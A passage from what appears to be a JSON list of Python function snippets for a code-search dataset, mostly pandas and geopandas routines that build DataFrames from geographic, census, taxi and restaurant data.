-> DataFrame:\\n raw = self._get_zone_list(building_id)\\n if raw:\\n return ensure_camel_columns(read_json(json.dumps(raw)).set_index(\\\"id\\\"))\\n raise IOError(\\\"Empty response from web request.\\\")\",\n \"def get_places() -> DataFrame:\\n df = pd.read_csv('./data/geoplaces2.csv', encoding='utf-8')\\n\\n # drop useless columns\\n df.drop(columns=['the_geom_meter', 'name', 'address',\\n 'city', 'state', 'country', 'fax',\\n 'zip', 'url', 'accessibility', 'franchise',\\n 'other_services'],\\n inplace=True)\\n\\n # select categorical column names\\n categorical_columns = [column for column in df.columns\\n if df[column].dtype.name == 'object'\\n if column not in ['userID', 'smoker']]\\n\\n # replace categorical columns with one hot encoding\\n for column_name in categorical_columns:\\n dummies = pd.get_dummies(df[column_name])\\n\\n for dummy_column_name in dummies.columns:\\n df[column_name + \\\"_\\\" + dummy_column_name] = dummies[dummy_column_name]\\n\\n df.drop(columns=[column_name], inplace=True)\\n\\n categorical_columns = [column for column in df.columns if df[column].dtype.name == 'object']\\n\\n for column in categorical_columns:\\n df[column] = df[column].astype('category')\\n\\n df_cuisine = get_place_secondary_df('cuisine', 'Rcuisine')\\n df_payment = get_place_secondary_df('accepts', 'Rpayment')\\n df_hours = get_place_hours()\\n\\n payment_columns = list(filter(lambda x: x.startswith(\\\"Raccepts_\\\"), df_payment.columns))\\n\\n # some restaurants don't have specified payment ... but why\\n # left join payment options and set cash option\\n new_df = df.merge(df_payment, on='placeID', how='left')\\n new_df[payment_columns] = new_df[payment_columns].fillna(0)\\n new_df['Raccepts_cash'] = 1\\n\\n # left join cuisines and fill missing values with 0\\n new_df = new_df.merge(df_cuisine, on='placeID', how='left')\\n cuisine_columns = list(filter(lambda x: \\\"Rcuisine\\\" in x, new_df.columns))\\n new_df[cuisine_columns] = new_df[cuisine_columns].fillna(0)\\n\\n new_df = new_df.merge(df_hours, on='placeID', how='inner')\\n\\n return new_df\",\n \"def create_geodata(x):\\n list_len = len(x)\\n pilot_log = pd.concat(x[i][['time','Cn0DbHz','svid','geometry']] for i in range(list_len))\\n \\n return pilot_log\",\n \"def createDataFrames(self):\\n self._atmDF = pd.DataFrame.from_dict(self._atmDict, orient='index')\\n \\n self._clientDF = pd.DataFrame.from_dict(self._clientDict, orient='index')\\n self._clientDF['longAccount'] = self._clientDF.client.map(str) +\\\\\\n '_' + self._clientDF.account.map(str)\\n \\n self._transactionDF = pd.DataFrame.from_dict(self._transactionDict, orient='index')\",\n \"def _extract_geographical_patterns(self):\\n # take onehot encoding of zipcodes\\n onehot = pd.get_dummies(self.df_transaction['zipcode'], prefix='zipcode')\\n rider_id = pd.DataFrame(data={'riderID': self.df_transaction['riderID']})\\n frames = [rider_id, onehot]\\n df_onehot = pd.concat(frames, axis=1)\\n\\n # count zipcodes\\n df_rider_geo_count = df_onehot.groupby(['riderID'])[list(onehot.columns.values)].sum().reset_index()\\n df_rider_geo_count['geo_row_sum'] = df_rider_geo_count.iloc[:, 1:].sum(axis=1)\\n\\n return df_rider_geo_count\",\n \"def get_countries_geo_df() -> geopandas.GeoDataFrame:\\n\\n geo_df: geopandas.GeoDataFrame = geopandas.read_file(\\n GEO_DATA_DIR / \\\"ne_110m_admin_0_map_units\\\" / \\\"ne_110m_admin_0_map_units.shp\\\"\\n )\\n\\n geo_df = geo_df.rename(columns={\\\"ADMIN\\\": CODE}, errors=\\\"raise\\\")\\n\\n # Keys are what's in the geo df, values are what we want to rename them to\\n # Values must match the names in the original data source. If you don't like those\\n # names, change them there and then come back and change the values here.\\n geo_df[CODE] = (\\n geo_df[CODE]\\n .map(\\n {\\n \\\"Central African Republic\\\": \\\"Central African Rep.\\\",\\n \\\"Democratic Republic of the Congo\\\": \\\"Dem. Rep. Congo\\\",\\n \\\"Equatorial Guinea\\\": \\\"Eq. Guinea\\\",\\n \\\"eSwatini\\\": \\\"Eswatini\\\",\\n \\\"Georgia (Country)\\\": \\\"Georgia\\\",\\n \\\"Republic of Serbia\\\": \\\"Serbia\\\",\\n \\\"United Arab Emirates\\\": \\\"UAE\\\",\\n \\\"United Kingdom\\\": \\\"Britain\\\",\\n \\\"United Republic of Tanzania\\\": \\\"Tanzania\\\",\\n \\\"Western Sahara\\\": \\\"W. Sahara\\\",\\n \\\"United States of America\\\": \\\"United States\\\",\\n }\\n )\\n .fillna(geo_df[CODE])\\n )\\n geo_df = geo_df[geo_df[CODE] != \\\"Antarctica\\\"]\\n\\n colonial_power_main_countries = {\\n \\\"Britain\\\": \\\"England\\\",\\n \\\"France\\\": \\\"France, Metropolitan\\\",\\n \\\"Norway\\\": \\\"Norway\\\",\\n \\\"Papua New Guinea\\\": \\\"Papua New Guinea\\\",\\n }\\n\\n is_main_country_idx = geo_df[CODE].map(colonial_power_main_countries).isna() | (\\n geo_df[\\\"NAME_SORT\\\"] == geo_df[CODE].map(colonial_power_main_countries)\\n )\\n\\n geo_df[CODE] = geo_df[CODE].where(\\n is_main_country_idx, geo_df[CODE].str.cat(geo_df[\\\"NAME_SORT\\\"], sep=\\\" - \\\"),\\n )\\n geo_df[\\\"name\\\"] = geo_df[CODE]\\n\\n geo_df = geo_df[\\n [\\n \\\"featurecla\\\",\\n \\\"scalerank\\\",\\n \\\"LABELRANK\\\",\\n # \\\"SOVEREIGNT\\\",\\n # \\\"SOV_A3\\\",\\n # \\\"ADM0_DIF\\\",\\n \\\"LEVEL\\\",\\n # \\\"TYPE\\\",\\n CODE,\\n \\\"name\\\",\\n # \\\"ADM0_A3\\\",\\n # \\\"GEOU_DIF\\\",\\n # \\\"GEOUNIT\\\",\\n # \\\"GU_A3\\\",\\n # \\\"SU_DIF\\\",\\n # \\\"SUBUNIT\\\",\\n # \\\"SU_A3\\\",\\n # \\\"BRK_DIFF\\\",\\n # \\\"NAME\\\",\\n # \\\"NAME_LONG\\\",\\n # \\\"BRK_A3\\\",\\n # \\\"BRK_NAME\\\",\\n # \\\"BRK_GROUP\\\",\\n \\\"ABBREV\\\",\\n # \\\"POSTAL\\\",\\n # \\\"FORMAL_EN\\\",\\n # \\\"FORMAL_FR\\\",\\n # \\\"NAME_CIAWF\\\",\\n # \\\"NOTE_ADM0\\\",\\n # \\\"NOTE_BRK\\\",\\n \\\"NAME_SORT\\\",\\n # \\\"NAME_ALT\\\",\\n # \\\"MAPCOLOR7\\\",\\n # \\\"MAPCOLOR8\\\",\\n # \\\"MAPCOLOR9\\\",\\n # \\\"MAPCOLOR13\\\",\\n # \\\"POP_EST\\\",\\n # \\\"POP_RANK\\\",\\n # \\\"GDP_MD_EST\\\",\\n # \\\"POP_YEAR\\\",\\n # \\\"LASTCENSUS\\\",\\n # \\\"GDP_YEAR\\\",\\n \\\"ECONOMY\\\",\\n \\\"INCOME_GRP\\\",\\n # \\\"WIKIPEDIA\\\",\\n # \\\"FIPS_10_\\\",\\n # \\\"ISO_A2\\\",\\n # \\\"ISO_A3\\\",\\n # \\\"ISO_A3_EH\\\",\\n # \\\"ISO_N3\\\",\\n # \\\"UN_A3\\\",\\n # \\\"WB_A2\\\",\\n # \\\"WB_A3\\\",\\n # \\\"WOE_ID\\\",\\n # \\\"WOE_ID_EH\\\",\\n # \\\"WOE_NOTE\\\",\\n # \\\"ADM0_A3_IS\\\",\\n # \\\"ADM0_A3_US\\\",\\n # \\\"ADM0_A3_UN\\\",\\n # \\\"ADM0_A3_WB\\\",\\n \\\"CONTINENT\\\",\\n \\\"REGION_UN\\\",\\n \\\"SUBREGION\\\",\\n \\\"REGION_WB\\\",\\n # \\\"NAME_LEN\\\",\\n # \\\"LONG_LEN\\\",\\n # \\\"ABBREV_LEN\\\",\\n # \\\"TINY\\\",\\n # \\\"HOMEPART\\\",\\n # \\\"MIN_ZOOM\\\",\\n # \\\"MIN_LABEL\\\",\\n # \\\"MAX_LABEL\\\",\\n # \\\"NE_ID\\\",\\n # \\\"WIKIDATAID\\\",\\n # \\\"NAME_AR\\\",\\n # \\\"NAME_BN\\\",\\n # \\\"NAME_DE\\\",\\n # \\\"NAME_EN\\\",\\n # \\\"NAME_ES\\\",\\n # \\\"NAME_FR\\\",\\n # \\\"NAME_EL\\\",\\n # \\\"NAME_HI\\\",\\n # \\\"NAME_HU\\\",\\n # \\\"NAME_ID\\\",\\n # \\\"NAME_IT\\\",\\n # \\\"NAME_JA\\\",\\n # \\\"NAME_KO\\\",\\n # \\\"NAME_NL\\\",\\n # \\\"NAME_PL\\\",\\n # \\\"NAME_PT\\\",\\n # \\\"NAME_RU\\\",\\n # \\\"NAME_SV\\\",\\n # \\\"NAME_TR\\\",\\n # \\\"NAME_VI\\\",\\n # \\\"NAME_ZH\\\",\\n \\\"geometry\\\",\\n ]\\n ]\\n\\n return geo_df\",\n \"def planes(self):\\n\\n results = []\\n for sz in self.shearzones:\\n point_cloud = self.get_shearzone(sz=sz, coords=\\\"gts\\\")\\n n_pts = point_cloud.shape[1]\\n centroid = np.sum(point_cloud, axis=1) / n_pts\\n normal = fit_normal_to_points(point_cloud)\\n\\n data = np.atleast_2d(np.hstack((centroid, normal)))\\n columns = (\\\"x_c\\\", \\\"y_c\\\", \\\"z_c\\\", \\\"n_x\\\", \\\"n_y\\\", \\\"n_z\\\")\\n frame = pd.DataFrame(data=data, columns=columns)\\n frame[\\\"shearzone\\\"] = sz\\n results.append(frame)\\n\\n df = pd.concat(results, ignore_index=True)\\n return df\",\n \"def generateTripsAndZoneDist(filename, numDataSets, percentUsing):\\n\\n data = pd.read_csv(filename).values\\n zoneData = pd.read_csv(\\\"taxi_zones/zone_lookup.csv\\\").values\\n\\n # Making time distribution and zone distributions\\n timeDistribution = np.zeros(24)\\n zoneDistribution = {k: 0 for k in range(1,zoneData[-1][0] + 1)}\\n for d in data:\\n timeDistribution[d[0]] += 1\\n zoneDistribution[d[2]] += 1\\n zoneDistribution[d[3]] += 1\\n\\n total = len(data)\\n for i in range(24):\\n timeDistribution[i] /= total\\n for i in range(1,zoneData[-1][0] + 1):\\n zoneDistribution[i] /= (2 * total)\\n\\n # n = number of data points divided by (30 * number of datasets) * 0.02 (2% of population uses it)\\n n = int(len(data) / (30 * numDataSets) * percentUsing)\\n\\n # Sample trips according to time distribution\\n sample = np.random.choice(np.arange(0, 24), size=n, p=timeDistribution)\\n\\n # Randomly sample existing trips and add them to new list\\n trips = []\\n for time in range(24):\\n indices = np.random.choice(len(data[data[:, 0] == time]), size=len(sample[sample == time]))\\n trips.extend(data[data[:, 0] == time][indices])\\n\\n return np.array(trips), zoneDistribution\",\n \"def get_individual_df(nombre):\\n clusters = []\\n contadores = []\\n for k, v in mydic[nombre][\\\"contador\\\"].items():\\n clusters.append(k)\\n contadores.append(v)\\n return pd.DataFrame({\\\"CODIGO_POSTAL\\\": clusters, f\\\"contadores_{nombre}\\\": contadores})\",\n \"def creat_df(urlist):\\n country = []\\n head = []\\n for i in range(len(urlist)):\\n country.append(urlist[i][2])\\n head.append(urlist[i][4])\\n df = pd.DataFrame.from_dict({\\\"Country\\\": country, \\\"Head\\\": head})\\n return df\",\n \"def _create_zones(self, output_path):\\n for z_id in self.zone_ids:\\n Z = Zone(z_id, self.operator, output_path, rs=self.rs1)\\n Z.read_daily_demand(self.daily_OD_demand) # , self.daily_pickup_demand\\n self.zones.append(Z)\",\n \"def GenerateTaxiDensityFeatureClass(fgdb, taxi_feature_class):\\n arcpy.env.overwriteOutput = True # allow overwriting output\\n kd_raster = arcpy.sa.KernelDensity(taxi_feature_class, \\n \\\"NONE\\\", \\n area_unit_scale_factor=\\\"SQUARE_KILOMETERS\\\", \\n out_cell_values=\\\"DENSITIES\\\", \\n method=\\\"PLANAR\\\") # generate kernel density raster of taxi using taxi locations\\n\\n contour_feature_class = os.path.join(fgdb, \\\"contour\\\") # define output contour feature class path\\n if arcpy.Exists(contour_feature_class): # if contour feature class already exists\\n arcpy.Delete_management(contour_feature_class) # delete the feature class\\n arcpy.sa.Contour(kd_raster, \\n contour_feature_class, \\n contour_interval=50000, \\n base_contour=0, \\n contour_type=\\\"CONTOUR_SHELL_UP\\\") # create contour feature class in intervals of 50000 (taxi/sqkm)\\n\\n arcpy.AlterField_management(contour_feature_class, \\n \\\"ContourMin\\\", \\n 'Contour', \\n 'Minimum Contour') # rename ContourMin field (default name) to Contour to match schema of feature layer\\n \\n contour_dataset = [] # define empty list of contour dataset\\n with arcpy.da.SearchCursor(contour_feature_class, \\n [\\\"Contour\\\", \\\"SHAPE@JSON\\\", \\\"ContourMax\\\"]) as in_cursor: # define search cursor to read the field Contour and polygon geometry as json string\\n for row in in_cursor: # iterate each polygon contour feature\\n contour_dataset.append({\\n \\\"Contour\\\": row[0],\\n \\\"PolygonGeometry\\\": eval(row[1])['rings'],\\n \\\"ContourMax\\\": row[2]\\n }) # append each polygon's Contour field value and geometry json value to list\\n del in_cursor # delete search cursor after using\\n \\n return contour_dataset # return list of contour polygon to main\",\n \"def create_polygons(self):\\r\\n polygons = {}\\r\\n for id, neighbours_ids in self.neighbours_ids_lists.items():\\r\\n color = choice(ALL_COLORS)\\r\\n polygon = Polygon(color, id, neighbours_ids)\\r\\n polygons[id] = polygon\\r\\n return polygons\",\n \"def _get_supply_per_zone(self, t):\\n b = {z.id: len(z.idle_vehicles) for z in self.zones}\\n supply_df = pd.DataFrame.from_dict(b, orient=\\\"index\\\", columns=[\\\"supply\\\"])\\n # I shouldn't have cast it as df. dicts are much more efficient\\n # normalize it \\n supply_df[\\\"supply\\\"] = supply_df[\\\"supply\\\"] / (supply_df[\\\"supply\\\"].max() + 1)\\n return supply_df\",\n \"def get_zpae():\\n zpae = gpd.read_file(\\\"./ZPAE/ZPAE/TODAS_ZPAE_ETRS89.shp\\\")\\n mydic = get_lon_lat(zpae, \\\"zpae\\\", ruido=True)\\n mydic[\\\"zpae\\\"][\\\"ruido\\\"] = zpae.ZonaSupera\\n return pd.DataFrame(mydic[\\\"zpae\\\"])\",\n \"def dataframe(countries):\\n\\n\\t# read in data from dictionary\\n\\tdf = pd.DataFrame.from_dict(countries)\\n\\n\\tinfant_mortality = df['Infant mortality (per 1000 births)']\\n\\t# convert sting into float with dot instead of comma and put it back in data frame\\n\\tdf['Infant mortality (per 1000 births)'] = df['Infant mortality (per 1000 births)'].str.replace(',','.').astype(float)\\n\\tdf['Pop. Density (per sq. mi.)'] = df['Pop. Density (per sq. mi.)'].str.replace(',','.').astype(float)\\n\\tdf['GDP ($ per capita) dollars'] = df['GDP ($ per capita) dollars'].astype(int)\\n\\n\\treturn df\",\n \"def build_geoseries(self, dataframe):\\n geo_list = []\\n with click.progressbar(dataframe.iterrows(), label='Pulling site plans and geographic title data', length=len(dataframe)) as d:\\n for index, row in d:\\n geo_list.append(self.map_property(row['linc']))\\n\\n geo_series = gpd.GeoSeries([Point(mark) for mark in geo_list], index=dataframe.index)\\n\\n return geo_series\",\n \"def generate_grid(country):\\n filename = 'national_outline_{}.shp'.format(country)\\n country_outline = gpd.read_file(os.path.join(SHAPEFILE_DIR, filename))\\n\\n country_outline.crs = \\\"epsg:4326\\\"\\n country_outline = country_outline.to_crs(\\\"epsg:3857\\\")\\n\\n xmin,ymin,xmax,ymax = country_outline.total_bounds\\n\\n #10km sides, leading to 100km^2 area\\n length = 1e4\\n wide = 1e4\\n\\n cols = list(range(int(np.floor(xmin)), int(np.ceil(xmax)), int(wide)))\\n rows = list(range(int(np.floor(ymin)), int(np.ceil(ymax)), int(length)))\\n rows.reverse()\\n\\n polygons = []\\n for x in cols:\\n for y in rows:\\n polygons.append( Polygon([(x,y), (x+wide, y), (x+wide, y-length), (x, y-length)]))\\n\\n grid = gpd.GeoDataFrame({'geometry': polygons})\\n intersection = gpd.overlay(grid, country_outline, how='intersection')\\n intersection.crs = \\\"epsg:3857\\\"\\n intersection = intersection.to_crs(\\\"epsg:4326\\\")\\n\\n final_grid = query_settlement_layer(intersection)\\n\\n final_grid = final_grid[final_grid.geometry.notnull()]\\n final_grid.to_file(os.path.join(GRID_DIR, 'grid.shp'))\\n\\n print('Completed grid generation process')\",\n \"def import_data(zone, region, train_tier):\\n geojson = f'../../data/raw/{train_tier}/{region}/{zone}-labels/{zone}.geojson'\\n geotif = f'../../data/raw/{train_tier}/{region}/{zone}/{zone}.tif'\\n label_df = gpd.read_file(geojson)\\n geotif = geotif\\n return label_df, geotif\",\n \"def add_shapes(df):\\n gdf = gpd.read_file(Essex_Shape_Config.LAU_SHP_FILE)\\n gdf.replace({'LAD19NM': {\\\"Epping Forest\\\": \\\"Epping\\\"}}, inplace = True) #epping is shortened in scraping\\n merge_df = pd.merge(df,gdf, left_on='search_term', right_on='LAD19NM')\\n merge_gdf = gpd.GeoDataFrame(merge_df)\\n return merge_gdf\",\n \"def make_zcta_file():\\n # make df for grouped vaccinations\\n df = pd.read_csv('grouped_vaccinations_by_zip.csv', names=['zip','total_shots','county'])\\n df_grouped = df.groupby('zip').sum('total')\\n\\n # make df for zcta data\\n zctafile = \\\"FL_ZCTA_variables_2019_r1.xlsx\\\"\\n cols = ['zip', 'pop2019', 'poverty_pct', 'asian_pct', 'hispanic_pct', 'white_pct', 'black_pct']\\n usecols = [0, 1, 2, 6, 7, 8, 9]\\n\\n df_zcta = pd.read_excel(zctafile, names=cols, usecols=usecols)\\n df_zcta = df_zcta.set_index('zip')\\n\\n # merge the two df's\\n df_zcta = pd.concat([df_grouped['total_shots'], df_zcta], axis=1).reset_index()\\n df_zcta['vacc_rate'] = df_zcta['total_shots']/df_zcta['pop2019']\\n\\n # write to csv\\n df_zcta.to_csv('zcta_grouped.csv', mode='w', header= True, index=False)\",\n \"def _populate_zone_facts_table(self):\\n census_fields = [\\n 'poverty_rate', 'fraction_black', 'income_per_capita',\\n 'labor_participation', 'fraction_foreign',\\n 'fraction_single_mothers', 'acs_lower_rent_quartile',\\n 'acs_median_rent', 'acs_upper_rent_quartile'\\n ]\\n\\n zone_types = ['ward', 'neighborhood_cluster', 'census_tract']\\n\\n query_results = list()\\n\\n # populate columns accordingly for each zone_specific type\\n for zone_type in zone_types:\\n field_values = dict()\\n\\n # get field value for each zone_specific type\\n for field in census_fields:\\n result = self._census_with_weighting(data_id=field,\\n grouping=zone_type)\\n field_values[field] = result['items']\\n\\n zone_specifics = self._get_zone_specifics_for_zone_type(zone_type)\\n\\n # TODO: add aggregate for each zone_type into table\\n for zone in zone_specifics:\\n # get not None values so we can added to db\\n columns = list()\\n values = list()\\n for field in census_fields:\\n zone_value = field_values[field][zone]\\n\\n if zone_value is not None:\\n columns.append(field)\\n values.append(\\\"'\\\" + str(zone_value) + \\\"'\\\")\\n\\n # derive column and values strings needed for sql query\\n columns = ', '.join(columns)\\n columns = 'zone, ' + columns\\n\\n values = ', '.join(values)\\n values = \\\"'\\\" + zone + \\\"', \\\" + values\\n\\n q = \\\"INSERT INTO zone_facts ({cols}) VALUES ({vals})\\\".format(\\n cols=columns, vals=values)\\n\\n with self.engine.connect() as conn:\\n result = conn.execute(q)\\n query_results.append(result)\\n\\n return query_results\",\n \"def get_nx10(location):\\n cols = ['id', 'acc_x', 'acc_y', 'acc_z', 'gy_x', 'gy_y', 'gy_z', 'mag_x', 'mag_y', 'mag_z'] \\n array = np.genfromtxt(location, delimiter=\\\",\\\")\\n df = DataFrame(array).dropna()\\n df.columns = cols\\n return(df)\",\n \"def create_demo_location_history() -> geopandas.GeoDataFrame:\\n np.random.seed(123)\\n\\n time = pd.date_range(start=datetime.fromtimestamp(1624241116), end=datetime.now(), freq=\\\"1min\\\").values\\n\\n center_point = (-36.875990410695394, 174.76398830024274)\\n lat = np.random.normal(loc=center_point[0], scale=0.01, size=len(time))\\n lon = np.random.normal(loc=center_point[1], scale=0.01, size=len(time))\\n\\n geometry = [Point(lon, lat) for lon, lat in zip(lon, lat)]\\n return geopandas.GeoDataFrame(pd.DataFrame(dict(time=time, lat=lat, lon=lon)), geometry=geometry)\",\n \"def finalize_dataframe(self, dataframe: DataFrame):\\n # Drop duplicates (some geospatial datasets, like ZCTAs, include redundant rows)\\n geo_names = {'geometry'}\\n non_geo_names = set(dataframe.columns) - geo_names\\n dataframe = dataframe.drop_duplicates(subset=non_geo_names, ignore_index=True)\\n\\n # Insert NAs for annotated row values to avoid outlier values like -999,999,999\\n dataframe.loc[dataframe['annotation'].notnull(), 'value'] = ''\\n dataframe['value'] = pd.to_numeric(dataframe['value'], errors='coerce')\\n\\n # Create year date column\\n dataframe['date'] = pd.to_datetime(\\n dataframe['year'].astype('string') + '-12-31', format='%Y-%m-%d'\\n )\\n\\n # Rename and reorder columns\\n names_csv = resource_string(__name__, 'resources/names.csv')\\n csv_reader = reader(StringIO(names_csv.decode('utf-8')))\\n next(csv_reader) # Skip header row\\n names = dict(csv_reader) # type: ignore\\n if self.geometry in ['points', 'polygons'] and (set(dataframe.columns) & geo_names):\\n name_order = [*names.values(), *geo_names]\\n else:\\n name_order = list(names.values())\\n dataframe = dataframe.rename(columns=names)[name_order]\\n\\n return dataframe\",\n \"def transform(self):\\n select_columns = ['Province/State','Lat','Long']\\n # df = global_cases.copy()\\n global_cases = self.collect_case()\\n df = global_cases.copy()\\n df.drop(select_columns,axis=1, inplace=True)\\n df = df[df['Country/Region'].apply(lambda x: x in Africa)].T.reset_index()\\n df.columns = df.iloc[0]\\n df.rename(columns={'Country/Region':'Date'},inplace=True)\\n df.drop([0],axis=0,inplace=True)\\n \\n df['Date'] = pd.to_datetime(df['Date']).dt.strftime('%m-%d-%Y')\\n # sort to have the latest update on top row\\n df.sort_values('Date',ascending=False, inplace=True)\\n african_cases = df.copy()\\n\\n return african_cases\",\n \"def add_loc_ocean2df(df=None, LatVar='lat', LonVar='lon'):\\n from geopandas.tools import sjoin\\n # Get the shapes for the ocean\\n featurecla = 'ocean'\\n group = get_shapes4oceans(rtn_group=True, featurecla=featurecla)\\n # Turn the dataframe into a geopandas dataframe\\n gdf = geopandas.GeoDataFrame(\\n df, geometry=geopandas.points_from_xy(df[LonVar], df[LatVar]))\\n # Work out if any of the points are within the polygons\\n pointInPolys = sjoin(gdf, group, how='left')\\n # Check how many were assigned to a region\\n Nnew = float(pointInPolys['name'].dropna().shape[0])\\n N = float(df.shape[0])\\n if N != Nnew:\\n pstr = 'WARNING: Only {:.2f}% assigned ({} of {})'\\n print(pstr.format((Nnew/N)*100, int(Nnew), int(N)))\\n # Add the ocean assingnment back into the orginal dataframe\\n df[featurecla] = pointInPolys['name'].values\\n return df\",\n \"def summary_table(countries: List[str]):\\n \\n df_list = []\\n \\n for country in countries:\\n acceleration_figures = acceleration(country)\\n pop = COUNTRY_DATA[country]['population']\\n df_list.append(\\n [\\n country,\\n COUNTRY_DATA[country]['data'].confirmed[-1],\\n int(acceleration_figures[0] * pop),\\n COUNTRY_DATA[country]['data'].deaths[-1],\\n int(acceleration_figures[1] * pop),\\n ]\\n )\\n\\n return df_list\",\n \"def table_with_routes(df, routes):\\n full_names = []\\n high_tax_list = []\\n low_tax_list = []\\n for org in in_taxa_dict.keys():\\n group, subtax, long_name = in_taxa_dict[org]\\n high_tax_list.append(group)\\n low_tax_list.append(subtax)\\n full_names.append(long_name)\\n\\n df = df[df.index.isin(in_taxa_dict.keys())]\\n no_seqs = set(in_taxa_dict.keys()) - set(df.index)\\n\\n for taxon in no_seqs:\\n df.loc[taxon] = len(df.columns) * [0]\\n\\n df.index.name = 'Unique ID'\\n df.insert(loc=0, column='Lower Taxonomy', value=low_tax_list)\\n df.insert(loc=0, column='Higher Taxonomy', value=high_tax_list)\\n df.insert(loc=0, column='Full Name', value=full_names)\\n\\n df = df.sort_index(axis=0)\\n df.to_csv(f'{output_fold}/occupancy.tsv', sep='\\\\t')\\n\\n # Adds routes to df\\n for gene in df.columns:\\n df[gene] = df[gene].apply(str)\\n for org in df[gene].index:\\n if org in routes[gene]:\\n df.at[org, gene] = f'{df[gene][org]}_{routes[gene][org]}'\\n\\n df.to_csv(f'{output_fold}/occupancy_with_routes.tsv', sep='\\\\t')\\n\\n return df\",\n \"def vectorize(df):\\n\\tt = calc_affine(df)\\n\\ta = df.values\\n\\t# zeros an nan are left open space, means mask = True!\\n\\tmaske = (df != 0).fillna(True)\\n\\tgdf = gpd.GeoDataFrame()\\n\\tgeoms = []\\n\\tvalue = []\\n\\tfor s,v in rasterio.features.shapes(a,transform=t,mask=maske.values):\\n\\t\\tgeoms.append(shape(s))\\n\\t\\tvalue.append(v)\\n\\tgdf['geometry'] = geoms\\n\\tgdf = gdf.set_geometry('geometry')\\n\\tgdf['val']=value\\n\\treturn gdf\",\n \"def gdf(self) -> gpd.GeoDataFrame:\\n return self.just_geometry_gdf.join(self.df)\",\n \"def read_polygon_shapefile(filename):\\n result = cpp_read_polygon_shapefile(filename)\\n return (\\n DataFrame({\\\"f_pos\\\": result[0], \\\"r_pos\\\": result[1]}),\\n DataFrame({\\\"x\\\": result[2], \\\"y\\\": result[3]}),\\n )\",\n \"def getRegions(self, polygon: Polygon, epsg: int) -> list:\\n self.output_epsg = epsg\\n polygon_df = gpd.GeoDataFrame([polygon], columns=['geometry'])\\n\\n polygon_df.set_crs(epsg=self.output_epsg, inplace=True)\\n polygon_df['geometry'] = polygon_df['geometry'].to_crs(epsg=self.input_epsg)\\n minx, miny, maxx, maxy = polygon_df['geometry'][0].bounds\\n\\n cond_xmin = self.metadata.xmin <= minx\\n cond_xmax = self.metadata.xmax >= maxx\\n cond_ymin = self.metadata.ymin <= miny\\n cond_ymax = self.metadata.ymax >= maxy\\n\\n df = self.metadata[cond_xmin & cond_xmax & cond_ymin & cond_ymax]\\n sort_df = df.sort_values(by=['year'])\\n regions = sort_df['filename'].to_list()\\n return regions\",\n \"def reach_points_as_dataframe(self) -> pd.DataFrame:\\n df_pt = pd.DataFrame([pt.as_dictionary for pt in self._reach_points])\\n df_pt.spatial.set_geometry('SHAPE')\\n return df_pt\",\n \"def read_polygon_shapefile(filename):\\n result = cpp_read_polygon_shapefile(filename)\\n f_pos = Series(result[0], name=\\\"f_pos\\\")\\n r_pos = Series(result[1], name=\\\"r_pos\\\")\\n return (\\n f_pos,\\n r_pos,\\n DataFrame({\\\"x\\\": result[2], \\\"y\\\": result[3]}),\\n )\",\n \"def new_df(companies_filtered):\\n name = []\\n city = []\\n latitude = []\\n longitude = []\\n zip_code = []\\n for i in companies_filtered:\\n name.append(i['name'])\\n try: \\n if i['offices'][0]['city'] == '':\\n city.append(np.nan)\\n else:\\n city.append(i['offices'][0]['city'])\\n latitude.append(i['offices'][0]['latitude'])\\n longitude.append(i['offices'][0]['longitude'])\\n except:\\n city.append(np.nan)\\n latitude.append(np.nan)\\n longitude.append(np.nan)\\n zip_code.append(np.nan)\\n dict_ = {'company' : name, 'city' : city, 'latitude' : latitude, 'longitude': longitude}\\n companies_df = pd.DataFrame.from_dict(dict_, orient='columns')\\n \\n return companies_df\",\n \"def get_annotation_dataframe_compact(self): \\n temp_df = pd.DataFrame(self.annotation_line_list)\\n # make a list with the annotations for each bbox (each row of the fata frame)\\n temp_df['annon'] = list(zip(list(zip(temp_df['xmin'], temp_df['ymin'], temp_df['xmax'], temp_df['ymax'])), temp_df['class_name']))\\n # group the df based on im_full_path\\n grouped = temp_df.groupby(['img_full_path'])\\n # create tuples of the grouped rows columns\\n df_serie = grouped['annon'].aggregate(lambda x: tuple(x))\\n return df_serie.to_frame()\",\n \"def prepare_data(self, file):\\n maps = np.load(file)\\n pred, gt, not_care = maps[-3:]\\n return self.get_polygon(pred), self.get_polygon(gt), self.get_polygon(not_care)\",\n \"def get_vector_markup(self, mask, geotransform, trg_crs='epsg:3857'):\\n\\n # plt.imsave(os.path.join(time_series_path, time_frame, '_'.join([dataset_element_name, mask_name, time_frame, self.get_timestamp()])+'.png'), raw)\\n shapes = rasterio.features.shapes(mask, transform=geotransform)\\n # the last shape contains all geometry\\n shapes = list(shapes)[:-1]\\n polygons = [geojson.Feature(geometry=geojson.Polygon(shape[0]['coordinates'])) for shape in shapes]\\n crs = {\\n \\\"type\\\": \\\"name\\\",\\n \\\"properties\\\": {\\n \\\"name\\\": trg_crs}}\\n gs = geojson.FeatureCollection(polygons, crs=crs)\\n return geojson.dumps(gs)\",\n \"def exportVoronoiRegions(self):\\n # Remember to compute circumcircles if not done before\\n # for t in self.triangles:\\n # self.circles[t] = self.circumcenter(t)\\n useVertex = {i: [] for i in range(len(self.coords))}\\n vor_coors = []\\n index = {}\\n # Build a list of coordinates and a index per triangle/region\\n for tidx, (a, b, c) in enumerate(self.triangles):\\n vor_coors.append(self.circles[(a, b, c)][0])\\n # Insert triangle, rotating it so the key is the \\\"last\\\" vertex\\n useVertex[a] += [(b, c, a)]\\n useVertex[b] += [(c, a, b)]\\n useVertex[c] += [(a, b, c)]\\n # Set tidx as the index to use with this triangles\\n index[(a, b, c)] = tidx\\n index[(c, a, b)] = tidx\\n index[(b, c, a)] = tidx\\n\\n # init regions per coordinate dictionary\\n regions = {}\\n # Sort each region in a coherent order, and substitude each triangle\\n # by its index\\n for i in range(4, len(self.coords)):\\n v = useVertex[i][0][0] # Get a vertex of a triangle\\n r = []\\n for _ in range(len(useVertex[i])):\\n # Search the triangle beginning with vertex v\\n t = [t for t in useVertex[i] if t[0] == v][0]\\n r.append(index[t]) # Add the index of this triangle to region\\n v = t[1] # Choose the next vertex to search\\n regions[i-4] = r # Store region.\\n\\n return vor_coors, regions\",\n \"def output_grid_information():\\n # translate = [-74.26, 40.50]\\n # scale = [0.02, 0.02]\\n # step = 1\\n\\n translate = [0, 0]\\n scale = [1, 1]\\n step = 0.02\\n\\n lon_limits = [(-74.26 - translate[0]) / scale[0], (-73.76 - translate[0]) / scale[0]]\\n lat_limits = [(40.48 - translate[1]) / scale[1], (40.94 - translate[1]) / scale[1]]\\n\\n lons = np.arange(lon_limits[0], lon_limits[1] - step, step)\\n lats = 